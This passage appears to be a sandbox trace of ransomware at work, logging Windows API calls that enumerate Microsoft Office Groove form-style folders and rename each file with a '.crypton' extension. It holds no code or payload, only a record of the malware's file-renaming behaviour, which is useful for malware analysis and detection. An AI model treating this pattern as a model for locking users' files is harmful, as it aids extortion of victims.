Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html.crypton"), dwFlags=0x2) returned 1 [0104.296] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html.crypton"), dwFlags=0x2) returned 1 [0104.302] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb8754c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbb8754c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000833, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0104.306] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css.crypton"), dwFlags=0x2) returned 1 [0104.308] GetFileType (hFile=0x1b4) returned 0x1 [0104.312] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb8754c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbb8754c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.314] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.317] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.321] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css.crypton"), dwFlags=0x2) returned 1 [0104.323] GetFileType (hFile=0x1b4) returned 0x1 [0104.328] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb89b620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbb89b620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.330] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\button.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\BUTTON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\button.gif.crypton"), dwFlags=0x2) returned 1 [0104.332] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\header.gif.crypton"), dwFlags=0x2) returned 1 [0104.335] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.339] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.345] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css.crypton"), dwFlags=0x2) returned 1 [0104.347] GetFileType (hFile=0x1b4) returned 0x1 [0104.352] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb8e78e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbb8e78e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.353] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.356] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.361] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css.crypton"), dwFlags=0x2) returned 1 [0104.367] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb90da40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbb90da40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.369] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\background.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\background.gif.crypton"), dwFlags=0x2) returned 1 [0104.371] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\button.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\BUTTON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\button.gif.crypton"), dwFlags=0x2) returned 1 [0104.374] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.377] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.382] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css.crypton"), dwFlags=0x2) returned 1 [0104.389] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb933ba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbb933ba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.390] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\header.gif.crypton"), dwFlags=0x2) returned 1 [0104.393] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.395] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.400] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow.css.crypton"), dwFlags=0x2) returned 1 [0104.404] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\casual.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Casual.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\casual.css.crypton"), dwFlags=0x2) returned 1 [0104.408] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\country.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Country.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\country.css.crypton"), dwFlags=0x2) returned 1 [0104.410] GetFileType (hFile=0x1b4) returned 0x1 [0104.415] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb97fe60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbb97fe60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.417] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\header.gif.crypton"), dwFlags=0x2) returned 1 [0104.419] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.423] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.428] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert.css.crypton"), dwFlags=0x2) returned 1 [0104.433] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\earthy.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Earthy.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\earthy.css.crypton"), dwFlags=0x2) returned 1 [0104.439] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb9cc120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbb9cc120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.441] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\header.gif.crypton"), dwFlags=0x2) returned 1 [0104.443] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.446] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.451] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck.css.crypton"), dwFlags=0x2) returned 1 [0104.455] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\greentea.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GreenTea.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\greentea.css.crypton"), dwFlags=0x2) returned 1 [0104.458] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\\\Program Files\\Microsoft 